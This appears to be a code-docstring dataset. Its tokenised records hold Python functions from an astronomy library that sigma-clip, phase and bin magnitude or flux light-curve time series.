{"signature": "def sigclip_magseries(times, mags, errs,<EOL>sigclip=None,<EOL>iterative=False,<EOL>niterations=None,<EOL>meanormedian='<STR_LIT>',<EOL>magsarefluxes=False):", "body": "returnerrs = True<EOL>if errs is None:<EOL><INDENT>errs = <NUM_LIT>*mags<EOL>returnerrs = False<EOL><DEDENT>find = npisfinite(times) & npisfinite(mags) & npisfinite(errs)<EOL>ftimes, fmags, ferrs = times[find], mags[find], errs[find]<EOL>if meanormedian == '<STR_LIT>':  <EOL><INDENT>center_mag = npmedian(fmags)<EOL>stddev_mag = (npmedian(npabs(fmags - center_mag))) * <NUM_LIT><EOL><DEDENT>elif meanormedian == '<STR_LIT>':<EOL><INDENT>center_mag = npmean(fmags)<EOL>stddev_mag = npstddev(fmags)<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>meanormedian)<EOL>meanormedian = '<STR_LIT>'<EOL>center_mag = npmedian(fmags)<EOL>stddev_mag = (npmedian(npabs(fmags - center_mag))) * <NUM_LIT><EOL><DEDENT>if sigclip and isinstance(sigclip, (float, int)):<EOL><INDENT>if not iterative and niterations is None:<EOL><INDENT>sigind = (npabs(fmags - center_mag)) < (sigclip * stddev_mag)<EOL>stimes = ftimes[sigind]<EOL>smags = fmags[sigind]<EOL>serrs = ferrs[sigind]<EOL><DEDENT>else:<EOL><INDENT>if niterations is None:<EOL><INDENT>delta = <NUM_LIT:1><EOL>this_times = ftimes<EOL>this_mags = fmags<EOL>this_errs = ferrs<EOL>while delta:<EOL><INDENT>if meanormedian == '<STR_LIT>':<EOL><INDENT>this_center = npmean(this_mags)<EOL>this_stdev = npstddev(this_mags)<EOL><DEDENT>elif meanormedian == '<STR_LIT>':<EOL><INDENT>this_center = npmedian(this_mags)<EOL>this_stdev = (<EOL>npmedian(npabs(this_mags - this_center))<EOL>) * <NUM_LIT><EOL><DEDENT>this_size = this_mags.size<EOL>tsi = (<EOL>(npabs(this_mags - this_center)) <<EOL>(sigclip * this_stdev)<EOL>)<EOL>this_times = this_times[tsi]<EOL>this_mags = this_mags[tsi]<EOL>this_errs = this_errs[tsi]<EOL>delta = this_size - this_mags.size<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>this_times = ftimes<EOL>this_mags = fmags<EOL>this_errs = ferrs<EOL>iter_num = <NUM_LIT:0><EOL>delta = <NUM_LIT:1><EOL>while iter_num < niterations and delta:<EOL><INDENT>if meanormedian == '<STR_LIT>':<EOL><INDENT>this_center = npmean(this_mags)<EOL>this_stdev = npstddev(this_mags)<EOL><DEDENT>elif meanormedian == '<STR_LIT>':<EOL><INDENT>this_center = npmedian(this_mags)<EOL>this_stdev = (npmedian(npabs(this_mags -<EOL>this_center))) * <NUM_LIT><EOL><DEDENT>this_size = this_mags.size<EOL>tsi = (<EOL>(npabs(this_mags - this_center)) <<EOL>(sigclip * this_stdev)<EOL>)<EOL>this_times = this_times[tsi]<EOL>this_mags = this_mags[tsi]<EOL>this_errs = this_errs[tsi]<EOL>delta = this_size - this_mags.size<EOL>iter_num += <NUM_LIT:1><EOL><DEDENT><DEDENT>stimes, smags, serrs = this_times, this_mags, this_errs<EOL><DEDENT><DEDENT>elif sigclip and isinstance(sigclip, (list,tuple)) and len(sigclip) == <NUM_LIT:2>:<EOL><INDENT>dimmingclip = sigclip[<NUM_LIT:0>]<EOL>brighteningclip = sigclip[<NUM_LIT:1>]<EOL>if not iterative and niterations is None:<EOL><INDENT>if magsarefluxes:<EOL><INDENT>nottoodimind = (<EOL>(fmags - center_mag) > (-dimmingclip*stddev_mag)<EOL>)<EOL>nottoobrightind = (<EOL>(fmags - center_mag) < (brighteningclip*stddev_mag)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>nottoodimind = (<EOL>(fmags - center_mag) < (dimmingclip*stddev_mag)<EOL>)<EOL>nottoobrightind = (<EOL>(fmags - center_mag) > (-brighteningclip*stddev_mag)<EOL>)<EOL><DEDENT>sigind = nottoodimind & nottoobrightind<EOL>stimes = ftimes[sigind]<EOL>smags = fmags[sigind]<EOL>serrs = ferrs[sigind]<EOL><DEDENT>else:<EOL><INDENT>if niterations is None:<EOL><INDENT>delta = <NUM_LIT:1><EOL>this_times = ftimes<EOL>this_mags = fmags<EOL>this_errs = ferrs<EOL>while delta:<EOL><INDENT>if meanormedian == '<STR_LIT>':<EOL><INDENT>this_center = npmean(this_mags)<EOL>this_stdev = npstddev(this_mags)<EOL><DEDENT>elif meanormedian == '<STR_LIT>':<EOL><INDENT>this_center = npmedian(this_mags)<EOL>this_stdev = (npmedian(npabs(this_mags -<EOL>this_center))) * <NUM_LIT><EOL><DEDENT>this_size = this_mags.size<EOL>if magsarefluxes:<EOL><INDENT>nottoodimind = (<EOL>(this_mags - this_center) ><EOL>(-dimmingclip*this_stdev)<EOL>)<EOL>nottoobrightind = (<EOL>(this_mags - this_center) <<EOL>(brighteningclip*this_stdev)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>nottoodimind = (<EOL>(this_mags - this_center) <<EOL>(dimmingclip*this_stdev)<EOL>)<EOL>nottoobrightind = (<EOL>(this_mags - this_center) ><EOL>(-brighteningclip*this_stdev)<EOL>)<EOL><DEDENT>tsi = nottoodimind & nottoobrightind<EOL>this_times = this_times[tsi]<EOL>this_mags = this_mags[tsi]<EOL>this_errs = this_errs[tsi]<EOL>delta = this_size - this_mags.size<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>this_times = ftimes<EOL>this_mags = fmags<EOL>this_errs = ferrs<EOL>iter_num = <NUM_LIT:0><EOL>delta = <NUM_LIT:1><EOL>while iter_num < niterations and delta:<EOL><INDENT>if meanormedian == '<STR_LIT>':<EOL><INDENT>this_center = npmean(this_mags)<EOL>this_stdev = npstddev(this_mags)<EOL><DEDENT>elif meanormedian == '<STR_LIT>':<EOL><INDENT>this_center = npmedian(this_mags)<EOL>this_stdev = (npmedian(npabs(this_mags -<EOL>this_center))) * <NUM_LIT><EOL><DEDENT>this_size = this_mags.size<EOL>if magsarefluxes:<EOL><INDENT>nottoodimind = (<EOL>(this_mags - this_center) ><EOL>(-dimmingclip*this_stdev)<EOL>)<EOL>nottoobrightind = (<EOL>(this_mags - this_center) <<EOL>(brighteningclip*this_stdev)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>nottoodimind = (<EOL>(this_mags - this_center) < (dimmingclip*this_stdev)<EOL>)<EOL>nottoobrightind = (<EOL>(this_mags - this_center) ><EOL>(-brighteningclip*this_stdev)<EOL>)<EOL><DEDENT>tsi = nottoodimind & nottoobrightind<EOL>this_times = this_times[tsi]<EOL>this_mags = this_mags[tsi]<EOL>this_errs = this_errs[tsi]<EOL>delta = this_size - this_mags.size<EOL>iter_num += <NUM_LIT:1><EOL><DEDENT><DEDENT>stimes, smags, serrs = this_times, this_mags, this_errs<EOL><DEDENT><DEDENT>else:<EOL><INDENT>stimes = ftimes<EOL>smags = fmags<EOL>serrs = ferrs<EOL><DEDENT>if returnerrs:<EOL><INDENT>return stimes, smags, serrs<EOL><DEDENT>else:<EOL><INDENT>return stimes, smags, None<EOL><DEDENT>", "docstring": "Sigma-clips a magnitude or flux time-series.\n\n    Selects the finite times, magnitudes (or fluxes), and errors from the passed\n    values, and apply symmetric or asymmetric sigma clipping to them.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude or flux time-series arrays to sigma-clip. This doesn't\n        assume all values are finite or if they're positive/negative. All of\n        these arrays will have their non-finite elements removed, and then will\n        be sigma-clipped based on the arguments to this function.\n\n        `errs` is optional. Set it to None if you don't have values for these. A\n        'faked' `errs` array will be generated if necessary, which can be\n        ignored in the output as well.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    iterative : bool\n        If this is set to True, will perform iterative sigma-clipping. If\n        `niterations` is not set and this is True, sigma-clipping is iterated\n        until no more points are removed.\n\n    niterations : int\n        The maximum number of iterations to perform for sigma-clipping. If None,\n        the `iterative` arg takes precedence, and `iterative=True` will\n        sigma-clip until no more points are removed.  If `niterations` is not\n        None and `iterative` is False, `niterations` takes precedence and\n        iteration will occur for the specified number of iterations.\n\n    meanormedian : {'mean', 'median'}\n        Use 'mean' for sigma-clipping based on the mean value, or 'median' for\n        sigma-clipping based on the median value.  Default is 'median'.\n\n    magsareflux : bool\n        True if your \"mags\" are in fact fluxes, i.e. if \"fainter\" corresponds to\n        `mags` getting smaller.\n\n    Returns\n    -------\n\n    (stimes, smags, serrs) : tuple\n        The sigma-clipped and nan-stripped time-series.", "id": "f14742:m2"}
{"signature": "def sigclip_magseries_with_extparams(times, mags, errs, extparams,<EOL>sigclip=None,<EOL>iterative=False,<EOL>magsarefluxes=False):", "body": "returnerrs = True<EOL>if errs is None:<EOL><INDENT>errs = <NUM_LIT>*mags<EOL>returnerrs = False<EOL><DEDENT>find = npisfinite(times) & npisfinite(mags) & npisfinite(errs)<EOL>ftimes, fmags, ferrs = times[find], mags[find], errs[find]<EOL>for epi, eparr in enumerate(extparams):<EOL><INDENT>extparams[epi] = eparr[find]<EOL><DEDENT>median_mag = npmedian(fmags)<EOL>stddev_mag = (npmedian(npabs(fmags - median_mag))) * <NUM_LIT><EOL>if sigclip and isinstance(sigclip, (float, int)):<EOL><INDENT>if not iterative:<EOL><INDENT>sigind = (npabs(fmags - median_mag)) < (sigclip * stddev_mag)<EOL>stimes = ftimes[sigind]<EOL>smags = fmags[sigind]<EOL>serrs = ferrs[sigind]<EOL>for epi, eparr in enumerate(extparams):<EOL><INDENT>extparams[epi] = eparr[sigind]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>delta = <NUM_LIT:1><EOL>this_times = ftimes<EOL>this_mags = fmags<EOL>this_errs = ferrs<EOL>while delta:<EOL><INDENT>this_median = npmedian(this_mags)<EOL>this_stdev = (npmedian(npabs(this_mags - this_median))) * <NUM_LIT><EOL>this_size = this_mags.size<EOL>tsi = (npabs(this_mags - this_median)) < (sigclip * this_stdev)<EOL>this_times = this_times[tsi]<EOL>this_mags = this_mags[tsi]<EOL>this_errs = this_errs[tsi]<EOL>for epi, eparr in enumerate(extparams):<EOL><INDENT>extparams[epi] = eparr[tsi]<EOL><DEDENT>delta = this_size - this_mags.size<EOL><DEDENT>stimes, smags, serrs = this_times, this_mags, this_errs<EOL><DEDENT><DEDENT>elif sigclip and isinstance(sigclip, (list, tuple)) and len(sigclip) == <NUM_LIT:2>:<EOL><INDENT>dimmingclip = sigclip[<NUM_LIT:0>]<EOL>brighteningclip = sigclip[<NUM_LIT:1>]<EOL>if not iterative:<EOL><INDENT>if magsarefluxes:<EOL><INDENT>nottoodimind = (<EOL>(fmags - median_mag) > (-dimmingclip*stddev_mag)<EOL>)<EOL>nottoobrightind = (<EOL>(fmags - median_mag) < (brighteningclip*stddev_mag)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>nottoodimind = (<EOL>(fmags - median_mag) < (dimmingclip*stddev_mag)<EOL>)<EOL>nottoobrightind = (<EOL>(fmags - median_mag) > (-brighteningclip*stddev_mag)<EOL>)<EOL><DEDENT>sigind = nottoodimind & nottoobrightind<EOL>stimes = ftimes[sigind]<EOL>smags = fmags[sigind]<EOL>serrs = ferrs[sigind]<EOL>for epi, eparr in enumerate(extparams):<EOL><INDENT>extparams[epi] = eparr[sigind]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>delta = <NUM_LIT:1><EOL>this_times = ftimes<EOL>this_mags = fmags<EOL>this_errs = ferrs<EOL>while delta:<EOL><INDENT>this_median = npmedian(this_mags)<EOL>this_stdev = (npmedian(npabs(this_mags - this_median))) * <NUM_LIT><EOL>this_size = this_mags.size<EOL>if magsarefluxes:<EOL><INDENT>nottoodimind = (<EOL>(this_mags - this_median) > (-dimmingclip*this_stdev)<EOL>)<EOL>nottoobrightind = (<EOL>(this_mags - this_median) < (brighteningclip*this_stdev)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>nottoodimind = (<EOL>(this_mags - this_median) < (dimmingclip*this_stdev)<EOL>)<EOL>nottoobrightind = (<EOL>(this_mags - this_median) ><EOL>(-brighteningclip*this_stdev)<EOL>)<EOL><DEDENT>tsi = nottoodimind & nottoobrightind<EOL>this_times = this_times[tsi]<EOL>this_mags = this_mags[tsi]<EOL>this_errs = this_errs[tsi]<EOL>for epi, eparr in enumerate(extparams):<EOL><INDENT>extparams[epi] = eparr[tsi]<EOL><DEDENT>delta = this_size - this_mags.size<EOL><DEDENT>stimes, smags, serrs = this_times, this_mags, this_errs<EOL><DEDENT><DEDENT>else:<EOL><INDENT>stimes = ftimes<EOL>smags = fmags<EOL>serrs = ferrs<EOL><DEDENT>if returnerrs:<EOL><INDENT>return stimes, smags, serrs, extparams<EOL><DEDENT>else:<EOL><INDENT>return stimes, smags, None, extparams<EOL><DEDENT>", "docstring": "Sigma-clips a magnitude or flux time-series and associated measurement\n    arrays.\n\n    Selects the finite times, magnitudes (or fluxes), and errors from the passed\n    values, and apply symmetric or asymmetric sigma clipping to them.  Uses the\n    same array indices as these values to filter out the values of all arrays in\n    the `extparams` list. This can be useful for simultaneously sigma-clipping a\n    magnitude/flux time-series along with their associated values of external\n    parameters, such as telescope hour angle, zenith distance, temperature, moon\n    phase, etc.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude or flux time-series arrays to sigma-clip. This doesn't\n        assume all values are finite or if they're positive/negative. All of\n        these arrays will have their non-finite elements removed, and then will\n        be sigma-clipped based on the arguments to this function.\n\n        `errs` is optional. Set it to None if you don't have values for these. A\n        'faked' `errs` array will be generated if necessary, which can be\n        ignored in the output as well.\n\n    extparams : list of np.array\n        This is a list of all external parameter arrays to simultaneously filter\n        along with the magnitude/flux time-series. All of these arrays should\n        have the same length as the `times`, `mags`, and `errs` arrays.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    iterative : bool\n        If this is set to True, will perform iterative sigma-clipping. If\n        `niterations` is not set and this is True, sigma-clipping is iterated\n        until no more points are removed.\n\n    magsareflux : bool\n        True if your \"mags\" are in fact fluxes, i.e. if \"fainter\" corresponds to\n        `mags` getting smaller.\n\n    Returns\n    -------\n\n    (stimes, smags, serrs) : tuple\n        The sigma-clipped and nan-stripped time-series in `stimes`, `smags`,\n        `serrs` and the associated values of the `extparams` in `sextparams`.", "id": "f14742:m3"}
{"signature": "def phase_magseries(times, mags, period, epoch, wrap=True, sort=True):", "body": "<EOL>finiteind = np.isfinite(mags) & np.isfinite(times)<EOL>finite_times = times[finiteind]<EOL>finite_mags = mags[finiteind]<EOL>magseries_phase = (<EOL>(finite_times - epoch)/period -<EOL>np.floor(((finite_times - epoch)/period))<EOL>)<EOL>outdict = {'<STR_LIT>':magseries_phase,<EOL>'<STR_LIT>':finite_mags,<EOL>'<STR_LIT>':period,<EOL>'<STR_LIT>':epoch}<EOL>if sort:<EOL><INDENT>sortorder = np.argsort(outdict['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = outdict['<STR_LIT>'][sortorder]<EOL>outdict['<STR_LIT>'] = outdict['<STR_LIT>'][sortorder]<EOL><DEDENT>if wrap:<EOL><INDENT>outdict['<STR_LIT>'] = np.concatenate((outdict['<STR_LIT>']-<NUM_LIT:1.0>,<EOL>outdict['<STR_LIT>']))<EOL>outdict['<STR_LIT>'] = np.concatenate((outdict['<STR_LIT>'],<EOL>outdict['<STR_LIT>']))<EOL><DEDENT>return outdict<EOL>", "docstring": "Phases a magnitude/flux time-series using a given period and epoch.\n\n    The equation used is::\n\n        phase = (times - epoch)/period - floor((times - epoch)/period)\n\n    This phases the given magnitude timeseries using the given period and\n    epoch. If wrap is True, wraps the result around 0.0 (and returns an array\n    that has twice the number of the original elements). If sort is True,\n    returns the magnitude timeseries in phase sorted order.\n\n    Parameters\n    ----------\n\n    times,mags : np.array\n        The magnitude/flux time-series values to phase using the provided\n        `period` and `epoch`. Non-fiinite values will be removed.\n\n    period : float\n        The period to use to phase the time-series.\n\n    epoch : float\n        The epoch to phase the time-series. This is usually the time-of-minimum\n        or time-of-maximum of some periodic light curve\n        phenomenon. Alternatively, one can use the minimum time value in\n        `times`.\n\n    wrap : bool\n        If this is True, the returned phased time-series will be wrapped around\n        phase 0.0, which is useful for plotting purposes. The arrays returned\n        will have twice the number of input elements because of this wrapping.\n\n    sort : bool\n        If this is True, the returned phased time-series will be sorted in\n        increasing phase order.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'phase': the phase values,\n             'mags': the mags/flux values at each phase,\n             'period': the input `period` used to phase the time-series,\n             'epoch': the input `epoch` used to phase the time-series}", "id": "f14742:m4"}
{"signature": "def phase_magseries_with_errs(times, mags, errs, period, epoch,<EOL>wrap=True, sort=True):", "body": "<EOL>finiteind = np.isfinite(mags)<EOL>finite_times = times[finiteind]<EOL>finite_mags = mags[finiteind]<EOL>finite_errs = errs[finiteind]<EOL>magseries_phase = (<EOL>(finite_times - epoch)/period -<EOL>np.floor(((finite_times - epoch)/period))<EOL>)<EOL>outdict = {'<STR_LIT>':magseries_phase,<EOL>'<STR_LIT>':finite_mags,<EOL>'<STR_LIT>':finite_errs,<EOL>'<STR_LIT>':period,<EOL>'<STR_LIT>':epoch}<EOL>if sort:<EOL><INDENT>sortorder = np.argsort(outdict['<STR_LIT>'])<EOL>outdict['<STR_LIT>'] = outdict['<STR_LIT>'][sortorder]<EOL>outdict['<STR_LIT>'] = outdict['<STR_LIT>'][sortorder]<EOL>outdict['<STR_LIT>'] = outdict['<STR_LIT>'][sortorder]<EOL><DEDENT>if wrap:<EOL><INDENT>outdict['<STR_LIT>'] = np.concatenate((outdict['<STR_LIT>']-<NUM_LIT:1.0>,<EOL>outdict['<STR_LIT>']))<EOL>outdict['<STR_LIT>'] = np.concatenate((outdict['<STR_LIT>'],<EOL>outdict['<STR_LIT>']))<EOL>outdict['<STR_LIT>'] = np.concatenate((outdict['<STR_LIT>'],<EOL>outdict['<STR_LIT>']))<EOL><DEDENT>return outdict<EOL>", "docstring": "Phases a magnitude/flux time-series using a given period and epoch.\n\n    The equation used is::\n\n        phase = (times - epoch)/period - floor((times - epoch)/period)\n\n    This phases the given magnitude timeseries using the given period and\n    epoch. If wrap is True, wraps the result around 0.0 (and returns an array\n    that has twice the number of the original elements). If sort is True,\n    returns the magnitude timeseries in phase sorted order.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude/flux time-series values and associated measurement errors\n        to phase using the provided `period` and `epoch`. Non-fiinite values\n        will be removed.\n\n    period : float\n        The period to use to phase the time-series.\n\n    epoch : float\n        The epoch to phase the time-series. This is usually the time-of-minimum\n        or time-of-maximum of some periodic light curve\n        phenomenon. Alternatively, one can use the minimum time value in\n        `times`.\n\n    wrap : bool\n        If this is True, the returned phased time-series will be wrapped around\n        phase 0.0, which is useful for plotting purposes. The arrays returned\n        will have twice the number of input elements because of this wrapping.\n\n    sort : bool\n        If this is True, the returned phased time-series will be sorted in\n        increasing phase order.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'phase': the phase values,\n             'mags': the mags/flux values at each phase,\n             'errs': the err values at each phase,\n             'period': the input `period` used to phase the time-series,\n             'epoch': the input `epoch` used to phase the time-series}", "id": "f14742:m5"}
{"signature": "def time_bin_magseries(times, mags,<EOL>binsize=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>):", "body": "<EOL>if not(times.shape and mags.shape and len(times) > <NUM_LIT:9> and len(mags) > <NUM_LIT:9>):<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>finiteind = np.isfinite(mags) & np.isfinite(times)<EOL>finite_times = times[finiteind]<EOL>finite_mags = mags[finiteind]<EOL>binsizejd = binsize/(<NUM_LIT>)<EOL>nbins = int(np.ceil((np.nanmax(finite_times) -<EOL>np.nanmin(finite_times))/binsizejd) + <NUM_LIT:1>)<EOL>minjd = np.nanmin(finite_times)<EOL>jdbins = [(minjd + x*binsizejd) for x in range(nbins)]<EOL>time_coords = np.array([[x,<NUM_LIT:1.0>] for x in finite_times])<EOL>jdtree = cKDTree(time_coords)<EOL>binned_finite_timeseries_indices = []<EOL>collected_binned_mags = {}<EOL>for jd in jdbins:<EOL><INDENT>bin_indices = jdtree.query_ball_point(np.array([jd,<NUM_LIT:1.0>]),<EOL>binsizejd/<NUM_LIT>, p=<NUM_LIT:1.0>)<EOL>if (bin_indices not in binned_finite_timeseries_indices and<EOL>len(bin_indices) >= minbinelems):<EOL><INDENT>binned_finite_timeseries_indices.append(bin_indices)<EOL><DEDENT><DEDENT>binned_finite_timeseries_indices = [np.array(x) for x in<EOL>binned_finite_timeseries_indices]<EOL>collected_binned_mags['<STR_LIT>'] = binned_finite_timeseries_indices<EOL>collected_binned_mags['<STR_LIT>'] = jdbins<EOL>collected_binned_mags['<STR_LIT>'] = len(binned_finite_timeseries_indices)<EOL>binned_jd = np.array([np.median(finite_times[x])<EOL>for x in binned_finite_timeseries_indices])<EOL>collected_binned_mags['<STR_LIT>'] = binned_jd<EOL>collected_binned_mags['<STR_LIT>'] = binsize<EOL>collected_binned_mags['<STR_LIT>'] = (<EOL>np.array([np.median(finite_mags[x])<EOL>for x in binned_finite_timeseries_indices])<EOL>)<EOL>return collected_binned_mags<EOL>", "docstring": "Bins the given mag/flux time-series in time using the bin size given.\n\n    Parameters\n    ----------\n\n    times,mags : np.array\n        The magnitude/flux time-series to bin in time. Non-finite elements will\n        be removed from these arrays. At least 10 elements in each array are\n        required for this function to operate.\n\n    binsize : float\n        The bin size to use to group together measurements closer than this\n        amount in time. This is in seconds.\n\n    minbinelems : int\n        The minimum number of elements required per bin to include it in the\n        output.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'jdbin_indices': a list of the index arrays into the nan-filtered\n                              input arrays per each bin,\n             'jdbins': list of bin boundaries for each bin,\n             'nbins': the number of bins generated,\n             'binnedtimes': the time values associated with each time bin;\n                            this is the median of the times in each bin,\n             'binnedmags': the mag/flux values associated with each time bin;\n                           this is the median of the mags/fluxes in each bin}", "id": "f14742:m6"}
{"signature": "def time_bin_magseries_with_errs(times, mags, errs,<EOL>binsize=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>):", "body": "<EOL>if not(times.shape and mags.shape and errs.shape and<EOL>len(times) > <NUM_LIT:9> and len(mags) > <NUM_LIT:9>):<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>finiteind = np.isfinite(mags) & np.isfinite(times) & np.isfinite(errs)<EOL>finite_times = times[finiteind]<EOL>finite_mags = mags[finiteind]<EOL>finite_errs = errs[finiteind]<EOL>binsizejd = binsize/(<NUM_LIT>)<EOL>nbins = int(np.ceil((np.nanmax(finite_times) -<EOL>np.nanmin(finite_times))/binsizejd) + <NUM_LIT:1>)<EOL>minjd = np.nanmin(finite_times)<EOL>jdbins = [(minjd + x*binsizejd) for x in range(nbins)]<EOL>time_coords = np.array([[x,<NUM_LIT:1.0>] for x in finite_times])<EOL>jdtree = cKDTree(time_coords)<EOL>binned_finite_timeseries_indices = []<EOL>collected_binned_mags = {}<EOL>for jd in jdbins:<EOL><INDENT>bin_indices = jdtree.query_ball_point(np.array([jd,<NUM_LIT:1.0>]),<EOL>binsizejd/<NUM_LIT>, p=<NUM_LIT:1.0>)<EOL>if (bin_indices not in binned_finite_timeseries_indices and<EOL>len(bin_indices) >= minbinelems):<EOL><INDENT>binned_finite_timeseries_indices.append(bin_indices)<EOL><DEDENT><DEDENT>binned_finite_timeseries_indices = [np.array(x) for x in<EOL>binned_finite_timeseries_indices]<EOL>collected_binned_mags['<STR_LIT>'] = binned_finite_timeseries_indices<EOL>collected_binned_mags['<STR_LIT>'] = np.array(jdbins)<EOL>collected_binned_mags['<STR_LIT>'] = len(binned_finite_timeseries_indices)<EOL>binned_jd = np.array([np.median(finite_times[x])<EOL>for x in binned_finite_timeseries_indices])<EOL>collected_binned_mags['<STR_LIT>'] = binned_jd<EOL>collected_binned_mags['<STR_LIT>'] = binsize<EOL>collected_binned_mags['<STR_LIT>'] = (<EOL>np.array([np.median(finite_mags[x])<EOL>for x in binned_finite_timeseries_indices])<EOL>)<EOL>collected_binned_mags['<STR_LIT>'] = (<EOL>np.array([np.median(finite_errs[x])<EOL>for x in binned_finite_timeseries_indices])<EOL>)<EOL>return collected_binned_mags<EOL>", "docstring": "Bins the given mag/flux time-series in time using the bin size given.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude/flux time-series and associated measurement errors to bin\n        in time. Non-finite elements will be removed from these arrays. At least\n        10 elements in each array are required for this function to operate.\n\n    binsize : float\n        The bin size to use to group together measurements closer than this\n        amount in time. This is in seconds.\n\n    minbinelems : int\n        The minimum number of elements required per bin to include it in the\n        output.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'jdbin_indices': a list of the index arrays into the nan-filtered\n                              input arrays per each bin,\n             'jdbins': list of bin boundaries for each bin,\n             'nbins': the number of bins generated,\n             'binnedtimes': the time values associated with each time bin;\n                            this is the median of the times in each bin,\n             'binnedmags': the mag/flux values associated with each time bin;\n                           this is the median of the mags/fluxes in each bin,\n             'binnederrs': the err values associated with each time bin;\n                           this is the median of the errs in each bin}", "id": "f14742:m7"}
{"signature": "def phase_bin_magseries(phases, mags,<EOL>binsize=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>):", "body": "<EOL>if not(phases.shape and mags.shape and len(phases) > <NUM_LIT:10> and len(mags) > <NUM_LIT:10>):<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>finiteind = np.isfinite(mags) & np.isfinite(phases)<EOL>finite_phases = phases[finiteind]<EOL>finite_mags = mags[finiteind]<EOL>nbins = int(np.ceil((np.nanmax(finite_phases) -<EOL>np.nanmin(finite_phases))/binsize) + <NUM_LIT:1>)<EOL>minphase = np.nanmin(finite_phases)<EOL>phasebins = [(minphase + x*binsize) for x in range(nbins)]<EOL>time_coords = np.array([[x,<NUM_LIT:1.0>] for x in finite_phases])<EOL>phasetree = cKDTree(time_coords)<EOL>binned_finite_phaseseries_indices = []<EOL>collected_binned_mags = {}<EOL>for phase in phasebins:<EOL><INDENT>bin_indices = phasetree.query_ball_point(np.array([phase,<NUM_LIT:1.0>]),<EOL>binsize/<NUM_LIT>, p=<NUM_LIT:1.0>)<EOL>if (bin_indices not in binned_finite_phaseseries_indices and<EOL>len(bin_indices) >= minbinelems):<EOL><INDENT>binned_finite_phaseseries_indices.append(bin_indices)<EOL><DEDENT><DEDENT>binned_finite_phaseseries_indices = [np.array(x) for x in<EOL>binned_finite_phaseseries_indices]<EOL>collected_binned_mags['<STR_LIT>'] = (<EOL>binned_finite_phaseseries_indices<EOL>)<EOL>collected_binned_mags['<STR_LIT>'] = phasebins<EOL>collected_binned_mags['<STR_LIT>'] = len(binned_finite_phaseseries_indices)<EOL>binned_phase = np.array([np.median(finite_phases[x])<EOL>for x in binned_finite_phaseseries_indices])<EOL>collected_binned_mags['<STR_LIT>'] = binned_phase<EOL>collected_binned_mags['<STR_LIT>'] = binsize<EOL>collected_binned_mags['<STR_LIT>'] = (<EOL>np.array([np.median(finite_mags[x])<EOL>for x in binned_finite_phaseseries_indices])<EOL>)<EOL>return collected_binned_mags<EOL>", "docstring": "Bins a phased magnitude/flux time-series using the bin size provided.\n\n    Parameters\n    ----------\n\n    phases,mags : np.array\n        The phased magnitude/flux time-series to bin in phase. Non-finite\n        elements will be removed from these arrays. At least 10 elements in each\n        array are required for this function to operate.\n\n    binsize : float\n        The bin size to use to group together measurements closer than this\n        amount in phase. This is in units of phase.\n\n    minbinelems : int\n        The minimum number of elements required per bin to include it in the\n        output.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'phasebin_indices': a list of the index arrays into the\n                                 nan-filtered input arrays per each bin,\n             'phasebins': list of bin boundaries for each bin,\n             'nbins': the number of bins generated,\n             'binnedphases': the phase values associated with each phase bin;\n                            this is the median of the phase value in each bin,\n             'binnedmags': the mag/flux values associated with each phase bin;\n                           this is the median of the mags/fluxes in each bin}", "id": "f14742:m8"}
